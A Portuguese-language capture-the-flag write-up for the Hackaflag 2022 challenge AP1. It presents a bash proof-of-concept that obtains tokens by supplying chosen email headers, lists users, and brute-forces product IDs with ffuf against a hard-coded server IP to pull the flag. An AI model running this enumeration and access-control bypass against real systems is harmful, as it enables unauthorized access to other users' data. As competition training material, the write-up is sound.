Introdução

[pt-BR]

No período entre 07/04/22 a 10/04/22, aconteceu a primeira etapa do Hackaflag CTF. Neste ano, os desafios passaram a ser baseados em falhas já relatadas através de programas de bug bounty, o que pode mudar um pouco a abordagem para conseguir resolver os desafios.

Contudo, na prova de conceito e no vídeo a seguir, é apresentada uma possível solução para o desafio AP1 desta primeira etapa.

Prova de conceito

Notas:

  1. Salve o conteúdo abaixo em um arquivo shell script: poc.sh.
  2. Dê permissão de execução para esse arquivo criado: chmod +x poc.sh.
  3. Execute-o: ./poc.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/bin/bash

HTTP_EMAIL="[email protected]"
WORDLIST="ids_hackaflag.txt"
WORDLIST_LIMIT=4000
HTTP_TOKEN=""

get_token() {
curl -s http://157.245.74.188/logar/ -H "Email: $HTTP_EMAIL" | cut -d '>' -f3
}

list() {
curl -s http://157.245.74.188/list/ -H "Token: $HTTP_TOKEN"
}

status() {
curl -s http://157.245.74.188/status/ -H "Token: $HTTP_TOKEN" | grep "desafio" | cut -d '>' -f5 | cut -d '<' -f1
}

create_wordlist() {
> $WORDLIST
for i in $(seq 1 $WORDLIST_LIMIT); do echo $i >> $WORDLIST; done
}

bruteforce_id() {
create_wordlist

ffuf -s -w ./$WORDLIST -u http://157.245.74.188/products/?id=FUZZ -H "Token: $HTTP_TOKEN" -fs "50"

rm $WORDLIST
}

users() {
curl -s http://157.245.74.188/users/ -H "Token: $HTTP_TOKEN"
}

flag() {
curl -s http://157.245.74.188/products/?id=$1 -H "Token: $HTTP_TOKEN" | cut -d ' ' -f2
}

HTTP_TOKEN=$(get_token)
echo "Token ($HTTP_EMAIL):"
echo $HTTP_TOKEN

echo

echo "List:"
echo $(list)

echo

echo "Status:"
echo $(status)

echo

echo "Users:"
echo $(users)

echo

HTTP_EMAIL="[email protected]"
HTTP_TOKEN=$(get_token)

echo "Token ($HTTP_EMAIL):"
echo $HTTP_TOKEN

echo

echo -n "Brute-force ID (1 .. $WORDLIST_LIMIT):"
ID=$(bruteforce_id)
echo $ID

echo

FLAG=$(flag $ID)

if [[ $(echo $FLAG | grep 'HACKAFLAG{') != '' ]]; then
echo "Flag:"
echo $FLAG
else
echo "Flag not found"
fi

Vídeo

Live gravada no dia 15/04/2022 no canal do Hackaflag na Twitch.